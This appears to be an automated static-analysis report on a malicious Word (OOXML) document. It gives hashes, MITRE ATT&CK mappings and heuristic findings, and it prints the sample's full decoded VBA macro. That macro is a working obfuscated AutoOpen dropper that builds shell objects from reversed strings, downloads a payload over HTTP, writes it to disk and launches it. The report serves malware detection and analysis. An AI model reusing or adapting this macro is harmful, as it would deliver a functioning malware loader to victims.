Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 2b6154447f399ad4…

MALICIOUS

Office (OOXML)

24.3 KB Created: 2016-02-25 16:55:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2016-03-10
MD5: e716b6fd3bff075cf90303ee0f09436e SHA-1: 62b9791421c66b7b038497ab829aa76be034655d SHA-256: 2b6154447f399ad48c07af09cc38d4b3c99205024567eed150fd82a2653215ee
238 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains obfuscated VBA macros designed to execute automatically upon opening. These macros utilize CreateObject to download a second-stage payload via HTTP and save it to disk, likely for execution. The script attempts to construct a command to run the downloaded payload, indicating a downloader or dropper functionality.

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        aaLkwtRh = RL8Xys7CP.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set ADyEMql4S3p = CreateObject("W" & StrReverse("tpircS") & "." & jDlpadtfe(1))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set ADyEMql4S3p = CreateObject("W" & StrReverse("tpircS") & "." & jDlpadtfe(1))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1902 bytes
SHA-256: 43b126a80de96e276185ee09f6de3dadf791aa9fe0b2743ae239712cca933380
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub kQufhpELsuTN(ByVal UmsKwYBpUB, ByVal RL8Xys7CP)
    On Error Resume Next
    aaLkwtRh = RL8Xys7CP.responseBody
    UmsKwYBpUB.Write aaLkwtRh
End Sub

Sub AutoOpen()
    On Error Resume Next
    Dim HUiu827TYRH
    HUiu827TYRH = StrReverse("m" & "d" & " " & "/")
    Const KMKM = "km "
    Const CCCC = " c"

    jDlpadtfe = Split(StrReverse(ActiveDocument.Sections(1).Headers(wdHeaderFooterPrimary).Range.Text), "|")

    Dim ADyEMql4S3p
    Set ADyEMql4S3p = CreateObject("W" & StrReverse("tpircS") & "." & jDlpadtfe(1))
    SPWXSy1rHQ5 = ADyEMql4S3p.ExpandEnvironmentStrings(jDlpadtfe(5))

    T25eCNGa1 = Split(SPWXSy1rHQ5, "\")
    lR1WRo4D8ij = UBound(T25eCNGa1)
    
    ADyEMql4S3p.Run "c" & StrReverse(KMKM & CCCC & HUiu827TYRH) & StrReverse("rid") & " """ & Mid(SPWXSy1rHQ5, 1, Len(SPWXSy1rHQ5) - Len(T25eCNGa1(lR1WRo4D8ij))) & """", 0, True

    Set kUH8L7VS = CreateObject(jDlpadtfe(2))
    kUH8L7VS.Open Chr$(71) + Chr$(69) + Chr$(84), jDlpadtfe(4), False
    kUH8L7VS.setRequestHeader "Cache-Control", "no-cache, no-store"

    Set Xt3OoMnt = CreateObject(jDlpadtfe(3))
    Xt3OoMnt.Open
    kUH8L7VS.send
    Xt3OoMnt.Type = 1
    Application.Run "kQufhpELsuTN", Xt3OoMnt, kUH8L7VS
    Application.Run "esiVF70", Xt3OoMnt, SPWXSy1rHQ5
    Xt3OoMnt.Close
    ADyEMql4S3p.Run "c" & StrReverse(""" """" trats" & " c" & HUiu827TYRH) & SPWXSy1rHQ5 & """", 0, False
End Sub

Function esiVF70(ByVal Xt3OoMntTMP, ByVal SPWXSy1rHQ5TMP)
    Xt3OoMntTMP.SaveToFile SPWXSy1rHQ5TMP, 2
End Function

Sub Workbook_Open()
    On Error Resume Next
    AutoOpen
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 14336 bytes
SHA-256: e92dc1c7edcd98ceffdcadf83ba5d507d41694fdf9ccaf42b0d4dbf22b63a169

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